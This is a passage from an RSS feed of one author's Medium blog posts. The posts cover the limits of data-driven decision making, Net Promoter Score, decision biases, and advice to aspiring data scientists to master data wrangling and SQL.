whole.</p><p><strong>5) Ethics</strong> — Just because a decision is based on data doesn’t mean it’s ethical or legal. In fact, there are several ethical issues that data practitioners must consider, such as</p><p><em>1. Data privacy — </em>Decisions made based on data obtained through means that violate individuals’ confidentiality and privacy will always be subject to scrutiny, regardless of the decision’s objective value<em>.</em></p><p><em>2. Data ownership — </em>In some cases, decisions may be hindered by the inability to access or utilize data due to ownership or legal restrictions. For example, a company may be unable to make a data-driven decision because they do not have access to certain data that is owned by a third party or restricted by privacy laws.</p><p><em>3.</em> <em>Discrimination — </em>Decisions based on algorithms have inherent biases and can be in conflict with ethical codes, individual rights, or social norms, making them difficult to reconcile.</p><p><em>4. Liabilities — </em>Automated decisions based on data and algorithms may lead to liabilities, making it challenging to assign blame and obtain compensation for damages, particularly if there is no clear accountability framework in place.</p><p>These are just some issues and problems that data-driven decision-makers could face.</p><p>Data can be useful,but it should not be relied upon solely to make important decisions.Data should be considered alongside other factors, such as human judgment and qualitative information, to get a more complete understanding of a situation.</p><p>While relying on data to make decisions is generally beneficial, it can also present various challenges. It’s easy to use an A/B test to confirm a significant improvement but it’s also much more challenging to oppose a decision that you believe could have unfavourable long-term effects, as providing evidence to the contrary is considerably harder.</p><p>The asymmetry is so crucial that it has a name <a href="https://en.wikipedia.org/wiki/Probatio_diabolica"><em>probatio diabolica</em></a></p><p>In legal terms, this concept is often referred to as the “burden of proof,” or the responsibility to provide evidence to support a claim. The unequal distribution of this burden can result in decisions that appear to be beneficial in the short term, but have the potential to cause harm in the long run. This is sometimes known as the “devil’s proof” because it can be difficult to demonstrate the negative consequences of a decision until they have already occurred.</p><p><strong>Speaking about quantity</strong>, when it comes to business, the main objective is typically to generate profits. To achieve this goal, a regression or machine learning model could be developed to optimize profits by setting profit as the dependent variable and running PCA to determine the factors that have the greatest impact on profit. At first glance, this approach may seem straightforward and simple. But is it?</p><p>See, in a business environment, employees often strive to showcase their productivity on a daily basis, which can create an additional incentive to focus on short-term results. This can result in the creation of solutions that may only be effective in the short term.</p><p>So the downside of a data-driven practice is the trap that can lead to a culture that values<strong> quantity over quality</strong> and makes us biased toward short-term gains, unless you’re really careful.</p><p>While a regression or machine learning model can identify the factors that contribute the most to profit, it cannot determine whether the profit is of high or low quality. In other words, it cannot distinguish between good and bad profits. Moreover, a purely statistical approach to maximizing profit, such as firing as many employees as possible, may be the most desirable action to take for the AI. After all, it’s a machine, it doesn’t think logically, it just computes.</p><p>We are aware that expanding the business beyond its capacity leads to poor profits. But why is this the case, and how do we know that it’s detrimental? The reason is that such growth is unsustainable if it results in employee attrition. Deep down, we all know the <strong>quality </strong>of the profit has something to do with the <em>future</em>. Ultimately, the quality of profit is determined by its ability to support the long-term health and growth of the business.</p><p>Instead of solely relying on metrics, it is important to consider the long-term impact of decision-making. Simply looking at numbers and guessing if they are good or bad is not enough. The quality of the outcome should be determined by the net present probability of future growth either being created or destroyed. This means considering the potential consequences and benefits of each decision in the context of long-term growth. There are various methods and techniques that can be used to predict future growth. Some common approaches include trend analysis, forecasting models, scenario planning, and simulation models. These methods can help identify patterns and trends in historical data and make projections based on assumptions about future trends, such as changes in market conditions or consumer behavior. It’s important to note, however, that all predictions come with a degree of uncertainty and should be viewed as estimates rather than definitive outcomes.</p><p><strong><em>Can a method exist for forecasting future growth</em>?</strong></p><p>Yes!</p><p>The emergence of<strong> Net Promoter Score (NPS)</strong> has provided a solution to measuring customer satisfaction by using a single question survey. The question is, “”Based on your experience with us, would you be inclined to recommend us to others?” and is rated on a scale of 0–10. NPS has been touted as The Ultimate Question due to its simplicity and effectiveness in predicting customer loyalty and future business growth.</p><p>According to Economist Wilson Muchugi, it wouldn’t be better to track mean or median statistics. This is because the NPS centers around the most enthusiastic customers who are inclined to refer Enterprise to their friends. By concentrating on these customers, the company can identify a key driver of profitable growth. Additionally, NPS provides a simple and effective way to measure customer satisfaction, allowing the company to track changes over time and make improvements</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*D4NU3Zqsa_FXKe0j8-Js_A.jpeg" /></figure><p>The formula for calculating the Net Promoter Score (NPS) involves subtracting the percentage of Detractors from the percentage of Promoters. It is essential to send the survey at the right time, usually immediately after the customer has interacted with the service. The NPS survey should be timely to gather accurate feedback from customers.</p><p>The term “promoters” in NPS refers to individuals who actively spread the word about a company or service, rather than just providing a superficially positive response. As a result, this segment typically correlates strongly with scores of 9 or higher. According to Muchugi, when a detractor is identified through the NPS survey, it is important to follow up with a call to understand their concerns. In his study, he found that it takes five positive comments to compensate for one negative comment. Therefore, it is worth spending more time with detractors to convert them into promoters. By addressing their concerns and improving their experience, companies can turn detractors into loyal customers who are more likely to recommend the company to others.</p><p>NPS was first created in the early 2000s, but its significance has been increasing over time. In the current era of the passion economy, where people crave authentic and direct feedback from their acquaintances in a hyper-connected digital world, the importance of NPS has been magnified. Nowadays, companies need promoters to maintain their growth, not just startups looking for explosive expansion. With the world moving away from targeted advertising, NPS has become an essential metric for businesses of all types to measure customer satisfaction and loyalty. passion has become the new currency, and relying on averages and medians is no longer sufficient to understand growth. Instead, a small group of power users are the key drivers of growth in this new paradigm.</p><h4><strong>So how does Data speak quantity rather than quality?</strong></h4><p>The relationship between NPS and a company’s key metric is important in optimizing for your north star metric. If your key metric is increasing while NPS is decreasing, then you are generating bad profit. On the other hand, if your key metric is decreasing but NPS is increasing, there’s less cause for concern. NPS is widely regarded as a dependable method to minimize the hazards associated with a data-focused, quantity-oriented decision-making approach. This is not to say that data-driven decisions are inherently too hard, but it’s crucial to understand when their effectiveness is constrained.</p><p>In the real world, most factors that affect the outcome are not truly independent and have some confounding effect on other factors. Therefore, a statistical model, which tries to predict the future by extrapolation from past data, has limited predictability. If your company is heavily reliant on A/B testing and data-driven decision making, it’s possible that you’re experiencing the winner’s curse. But having a professional data scientist in your company is worth the while because he/she will tell that <em>numbers don’t always add up.</em></p><p>While it is important to keep in mind the limitations of data-driven decision making, it is not necessarily a downside of it. In fact, working with data can be enjoyable and the true value of it can be appreciated when one understands its limitations. So, it’s important to be aware of the potential pitfalls, but also to enjoy the process of working with data.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5088eb39ce14" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Data Driven Decision Making: its good... but not god]]></title>
            <link>https://medium.com/@mrjoemaina01/data-driven-decision-making-its-good-but-not-god-904f4d8fe0a7?source=rss-219037b461aa------2</link>
            <guid isPermaLink="false">https://medium.com/p/904f4d8fe0a7</guid>
            <dc:creator><![CDATA[Mrjoemaina]]></dc:creator>
            <pubDate>Fri, 05 May 2023 16:27:47 GMT</pubDate>
            <atom:updated>2023-05-05T16:27:47.230Z</atom:updated>
            <content:encoded><![CDATA[<p>In today’s dynamic digital environment, it’s essential to leverage data in order to stay abreast of the constantly evolving landscape and make more informed and impactful business decisions.</p><p>Data driven decision making (DDDM) involves making decisions that are backed up by hard data rather than making decisions that are intuitive or based on emotions and observations. By scrutinizing data that has been gathered through market research, businesses and organizations can uncover insights that have the potential to benefit their overall performance.</p><p>At the heart of data driven decision making lies the ability to leverage real, verified data in order to gain a more nuanced understanding of business requirements, rather than making unfounded assumptions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r0QWm8-G7qg4JBqwzmIgbw.png" /></figure><p>The competitive nature of the business landscape has led to the widespread adoption of data driven decision making. The adoption of this decision making methodology has become indispensable for companies because it has consistently led to favorable outcomes. An example of a study where data driven decision making trumps others was performed by Economist Wilson Muchugi based in Nairobi, Kenya. According to his study, the most data driven companies performed 6% better than others. Within the context of extensive business operations, a 6% disparity can have a notable impact. Businesses that rely on data driven decision making regard information as a valuable asset, comparable to capital. By trusting in data analysis, these businesses can effectively identify performance gaps, pinpoint opportunities, and anticipate future trends, all of which contribute to revenue growth.</p><p>A business decision making process goes somewhat like this:</p><ol><li>Define and quantify an issue or opportunity — assess factors and time demands.</li><li>Identify decision factors.</li><li>Evaluate decision factors and establish criteria (as decision factors differ in importance, they must be assessed and prioritized against each other).</li><li>Develop and evaluate solution alternatives, considering feasibility, consequences, and estimated outcomes, including costs, benefits, effects, and value.</li><li>Apply analytical methods to decision criteria and choose an alternative.</li><li>Implement the selected solution alternative to apply the decision.</li></ol><p>Nevertheless, this is not how things play out in practice. Human decision-making is not always entirely rational.</p><p>Making a strategic or tactical decision involves a lot of psychology, gut feeling, risk management, and intuition. The decision process is quite complex. Actually, nobody knows how it works. And it hardly does.</p><p>On the other hand, decision makers aim to make decisions that are rational based on the available information provided by the decision making framework. Many decision makers supplement the available facts with their intuition to make the right decision, i.e To compensate for the limitations in the decision basis, they draw on their experience, values, emotions, cognitive skills, and subconscious.</p><p>Various psychological factors can lead to typical errors in decision-making assessments, and biases such as prejudice are common examples of these factors.</p><p>Some decision-making errors and biases are:</p><p>1) Over-confidence bias</p><p>2) Immediate gratification bias</p><p>3) Anchoring effect</p><p>4) Selective perception bias</p><p>5) Confirmation bias</p><p>6) Framing bias</p><p>7) Availability bias</p><p>8) Representation bias</p><p>9) Randomness bias</p><p>10) Sunk costs error</p><p>11) Self-serving bias</p><p>12) Hindsight bias</p><p>13) Escalation of commitment</p><p>14) The decision process not followed</p><p>15) Wrong facts or heuristics used</p><p><strong>To sum up</strong></p><p>The concept of data-driven decisions may sound appealing, and the data analytics industry works hard to promote the idea that using data to inform decisions will lead to positive outcomes. Of course, this sounds incredible in theory. But in practice, even with access to abundant data, it is possible to ignore tangible insights and make decisions based on intuition instead. Although following your instincts can be appropriate at times, most of your business decisions should be supported by precise metrics, facts, and figures related to your objectives, goals, or initiatives.</p><p>For sure, we should</p><ul><li>Improve our ability to effectively communicate and analyze data and facts in order to make informed decisions based on sound information.</li><li>Explore the ways in which our decision-making can be swayed by biases and other influential factors.</li><li>Make use of the data that is already available to us, and leverage computer technology such as integrating different types of data from diverse sources, statistical techniques, and machine learning.</li></ul><p>Data driven decision making will propel your business to new heights while making it more adaptable to an ever-changing commercial landscape. It should be at the heart of all of your strategies, activities, and operations.</p><p><em>Needless to say, DDDM is good, but not god.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=904f4d8fe0a7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Aspiring to be a data scientist?: Learn data and learn it well]]></title>
            <link>https://medium.com/@mrjoemaina01/aspiring-to-be-a-data-scientist-learn-data-and-learn-it-well-62a130b38246?source=rss-219037b461aa------2</link>
            <guid isPermaLink="false">https://medium.com/p/62a130b38246</guid>
            <dc:creator><![CDATA[Mrjoemaina]]></dc:creator>
            <pubDate>Tue, 02 May 2023 09:52:09 GMT</pubDate>
            <atom:updated>2023-05-02T10:51:20.835Z</atom:updated>
            <content:encoded><![CDATA[<p>I’ve read so many stories about data science being the<a href="https://www.hbs.edu/faculty/Pages/item.aspx?num=43110"> sexiest job of the 21st century</a> and the<a href="http://uk.businessinsider.com/how-much-money-you-earn-in-the-sexiest-job-of-the-21st-century-2016-2"> attractive sums of money that you can make as a data scientist</a> that it can seem like the absolute dream job. Factor in that the field contains an abundance of highly skilled people geeking out to solve complex problems (yes it’s a positive thing to “geek out”), there is everything to love about the job.</p><p>I wanted to get into data science because it was all about solving complex problems with cool new machine learning algorithms that make huge impact on a business. This was a chance to feel like the work I was doing was more important than anything I’ve done before. However, this is often not the case.</p><p>As an aspiring data scientist, you feel there’s so much to learn, you’ll never catch up, your models are absolute rubbish and that your learning rate is too slow. Burn the midnight oil, fast forward, you’ve learnt a majority of algorithms and feel ready to take on real world machine learning problems. But your expectations do not match the reality of the industry. Being good in modeling machine learning doesn’t always equate to being a good data scientist. You need more…. and here’s where aspiring data scientists get frustrated.</p><p>Skimming through a couple of job adverts, you soon realize that your <em>Python</em>, <em>TensorFlow</em> and <em>Scikit-Learn</em> skill set just won’t cut it. There’s more to it than just modeling. As your professional title reads ‘<em>Data Scientist’</em>, the core of data science boils down to this one important ingredient &lt; <strong>data</strong>. <strong>Yes</strong>, I’m a data scientist and <strong>yes</strong>, you read that right. Someone had to say it.<strong> DATA</strong></p><p>Let me show what I mean….</p><p>The job market is never for the data scientist as I will show you in this article… It is always the domain of the programmer. The market for machine learning engineers won’t abate any time soon, only the need for the overeducated, technically inept academia types.</p><p>It isn’t had to predict. All you have to do is to look at any job for a ‘<em>data scientist</em>’ to realize the role was really for a hardcore programmer, a data person… not a math type. Do keep in mind that 80% of machine learning is data wrangling. That alone should give you some insight into the direction of this space.</p><p>Let’s have a look at 2 job descriptions:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*ISzGNBIux8cZCTK83GOlGQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/776/1*Svvo6pziQpBSMWeiI_xeMg.png" /></figure><p>Above are typical job descriptions advertised on the internet. To be honest, these are not the domain of any data scientist I’ve ever met. These jobs are for programmers with data skills. They belong to the domain of the data experts and the programmers. Modeling isn’t difficult, massaging unstructured data into a modellable state is.</p><p>So to be an effective data scientist in industry it doesn’t suffice just to do well in Kaggle competitions and complete some online courses. It (un)fortunately (depending on which way you look at it) involves understanding how data is structured, stored and how it is sourced and how to clean it and how to process it.</p><p>Still aspiring to be data scientist?…..</p><p>If you really believe you can learn enough to get a job in the real world as a machine learning engineer in 6 months to a year then failure and burnout is inevitable. Learning modeling before learning data is an exercise if futility</p><p>Here’s the brutal truth. If you can’t extract and massage your own data no one gives a sh*t how good you are at modeling because you won’t make it past the phone screen. Not only that, the top modelers almost always have mad wrangling skills. Any top Kaggler will tell you that.</p><p>In the real world your data doesn’t get downloaded from the internet in a nicely cleansed CSV file. In many cases, it lives in relational databases and you will have to get the data out.</p><p>Here. I’m going to give you the best advice you’ll ever receive it you want to work in the real world as a machine learning engineer.</p><h4>Learn data and learn it well, Get a job using SQL and focus on data. &lt; That’s it.</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=62a130b38246" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>